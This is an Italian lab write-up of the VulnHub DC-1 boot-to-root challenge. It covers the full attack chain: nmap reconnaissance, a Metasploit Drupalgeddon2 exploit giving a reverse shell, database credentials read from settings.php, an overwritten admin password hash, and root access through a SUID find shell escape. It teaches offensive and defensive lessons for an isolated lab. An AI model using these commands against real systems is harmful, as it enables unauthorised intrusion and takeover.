
VulnHub DC-1 boot-to-root — sfruttando CVE-2018-7600 (Drupalgeddon2) per RCE, estraendo le credenziali del database da settings.php, forgiando l'hash della password di admin ed eseguendo l'escalation a root tramite SUID find.
"Writeup di laboratorio di penetration testing che documentano catene di attacco complete — dalla ricognizione alla root."
Difficoltà: Principiante–Intermedio
Piattaforma: VulnHub
Obiettivo: Catturare tutte e 4 le flag e ottenere la compromissione completa a livello root
Sistema Attaccante: Kali Linux (VirtualBox — Rete NAT)
Sistema Target: Debian Linux (CMS Drupal 7)
| Componente | Dettagli |
|---|---|
| Hypervisor | VirtualBox |
Entrambe le macchine virtuali sono state configurate nella stessa Rete NAT in VirtualBox per consentire la comunicazione tra VM mantenendo un ambiente di laboratorio isolato.
Usato arp-scan per identificare tutti gli host attivi sulla sottorete locale:
sudo arp-scan -l
Risultato: Target individuato su 10.0.2.3
Eseguita una scansione Nmap completa con rilevamento della versione e script predefiniti:
sudo nmap -sV -sC 10.0.2.3
Risultati principali:
| Porta | Servizio | Versione |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 Critico: Nmap ha identificato esplicitamente l'applicazione web come Drupal 7 tramite gli header HTTP del generatore — confermando una versione CMS nota e vulnerabile.
Drupal 7 è affetto da una vulnerabilità critica di Esecuzione di Codice Remota (RCE) nell'API dei Form. Un attaccante non autenticato può inviare una richiesta HTTP appositamente costruita che il backend esegue come comando di sistema — senza richiedere alcuna autenticazione.
Avviato Metasploit Framework:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
Risultato: Reverse shell Meterpreter aperta con successo come www-data (l'utente del processo del server web).
Passati da Meterpreter a una shell Linux nativa e stabilizzata tramite Python PTY:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
Risultato: Shell bash completamente interattiva come www-data@DC-1 dentro /var/www
ls -la /var/www
cat flag1.txt
Contenuto della Flag 1:
Every good CMS needs a config file - and so do you.
💡 Suggerimento: Punta direttamente al file di configurazione di Drupal —
settings.php
Navigato nella directory di configurazione di Drupal e ispezionato il file delle impostazioni:
cd /var/www/sites/default
cat settings.php
Credenziali scoperte incorporate nell'array $databases:
| Campo | Valore |
|---|---|
| Database | drupaldb |
| Nome utente | dbuser |
| Password | R0ck3t |
Contenuto della Flag 2 (dai commenti del file):
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?
💡 Suggerimento: Usa le credenziali per accedere al backend MySQL — senza forzare nulla con brute force.
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
Trovate password hashate per admin e fred — entrambe usano lo schema di hashing $S$ di Drupal (basato su SHA-512).
Invece di craccare l'hash esistente, ho usato lo script PHP integrato di Drupal per generarne uno nuovo:
cd /var/www
php scripts/password-hash.sh password123
Output: Un hash $S$D... valido per password123
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
Accesso effettuato a http://10.0.2.3 come admin / password123 con successo.
Contenuto della Flag 3 (trovato nel pannello contenuti admin di Drupal):
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.
💡 Suggerimento: Misconfigurazione del binario SUID sul comando
find— vettore di privilege escalation identificato.
cat /etc/passwd
Individuato l'utente flag4 con home directory /home/flag4.
cat /home/flag4/flag4.txt
Contenuto della Flag 4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
findIl binario find aveva il bit SUID impostato, il che significa che viene eseguito con i privilegi del proprietario del file (root) indipendentemente da chi lo esegue.
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
Well done!!! Hope you enjoyed DC-1!
Compromissione totale di root ottenuta. ✅
Da una prospettiva offensiva:
settings.php contengono spesso credenziali in chiaro che permettono a un attaccante di passare dall'accesso web al pieno controllo del database.find, vim o python sono uno dei vettori di privilege escalation più affidabili negli ambienti Linux.Da una prospettiva difensiva:
find / -perm -4000 -type f 2>/dev/null dovrebbe far parte di qualsiasi checklist di hardening Linux.Questo writeup è strettamente a scopo educativo e documenta attività svolte in un ambiente di laboratorio isolato e legale. Non tentare mai queste tecniche contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta esplicita al test.
Completato da Prapul | Profilo TryHackMe | GitHub
| Modalità di Rete | Rete NAT (entrambe le VM nella stessa sottorete) |
| Macchina Attaccante | Kali Linux |
| Macchina Target | DC-1 (VulnHub) |
| IP Target | 10.0.2.3 (scoperto tramite arp-scan) |
| Strumento | Scopo |
|---|
arp-scan | Scoperta degli host sulla sottorete locale |
nmap | Scansione delle porte e fingerprinting dei servizi |
Metasploit Framework | Consegna dell'exploit CVE-2018-7600 e reverse shell |
MySQL CLI | Enumerazione del database e manipolazione delle credenziali |
PHP (password-hash.sh) | Generazione nativa di hash Drupal |
Python PTY | Stabilizzazione della shell |
VirtualBox | Configurazione dell'ambiente di laboratorio isolato |